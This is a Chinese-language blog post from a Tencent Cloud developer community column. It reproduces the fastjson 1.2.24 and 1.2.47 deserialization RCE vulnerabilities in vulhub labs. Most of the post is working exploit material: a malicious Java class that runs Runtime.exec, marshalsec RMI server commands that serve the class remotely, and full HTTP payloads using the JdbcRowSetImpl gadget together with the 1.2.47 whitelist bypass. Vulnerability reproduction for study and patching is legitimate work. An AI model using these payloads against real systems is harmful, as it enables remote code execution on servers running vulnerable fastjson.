前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >fastjson漏洞原理与复现

fastjson漏洞原理与复现

原创
作者头像
nNoSuger
发布2024-03-23 19:45:46
1980
发布2024-03-23 19:45:46

描述

fastjson是阿里巴巴的开源JSON解析库,能够对json格式数据做快速修改和转换。

fastjson在解析过程中会使用autotype来实例化某一个具体的类,autoType的作用就是来定位需要反序列化对象的位置,然后通过@type指定的内容来选择反序列化使用到的链为哪一条,那么我们通过此特性通过指定datasourcename参数为我们的恶意class类,从而导致命令执行

fastjson 1.2.24-rce漏洞复现

环境地址

https://github.com/vulhub/vulhub

启动环境

docker-compose up -d

环境启动
环境启动

漏洞复现

写入如下代码进入java文件保存为rce.java文件

代码语言:javascript
复制
import java.lang.Runtime;
import java.lang.Process;
​
public class rce {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"ping", "xxx.dnslog.cn"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

使用javac rce.java编译为class文件并使用python开启http服务

开启服务
开启服务

我们还需要使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类rce.class

代码语言:javascript
复制
git下载项目
git clone https://github.com/mbechler/marshalsec.git
​
mvn编译项目
mvn clean package -DskipTests
​
执行命令
cd target/
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://刚刚上传class文件的外网ip/#RCE" 9999
​

burp抓包访问写上如下payload

代码语言:javascript
复制
POST / HTTP/1.1
Host: 110.41.41.14:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: wp-settings-time-1=1710057450; wp-settings-1=mfold%3Do%26libraryContent%3Dbrowse%26posts_list_mode%3Dlist
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 160
​
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.13.106:9999/rce",
        "autoCommit":true
    }
​
}

如下图成功访问本地的rce.class文件

本地已执行命令

fastjson 1.2.47-rce漏洞复现

描述

该漏洞为1.2.24白名单限制,可绕过白名单限制进行命令执行(与1.2.24原理相同)

环境地址

https://github.com/vulhub/vulhub

启动环境

docker-compose up -d

漏洞复现

此漏洞复现方式与fastjson 1.2.24相似,所以我们直接给出payload,连marshalsec项目监听的服务和python监听的class文件的服务都不需要做任何更改,直接附上payload

代码语言:javascript
复制
POST / HTTP/1.1
Host: 110.41.41.14:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: wp-settings-time-1=1710057450; wp-settings-1=mfold%3Do%26libraryContent%3Dbrowse%26posts_list_mode%3Dlist
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 263
​
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
   "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.13.106:9999/rce",
        "autoCommit":true
    }
}

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 描述
  • fastjson 1.2.24-rce漏洞复现
    • 环境地址
      • 启动环境
        • 漏洞复现
        • fastjson 1.2.47-rce漏洞复现
          • 描述
            • 环境地址
              • 启动环境
                • 漏洞复现
                相关产品与服务
                容器服务
                腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档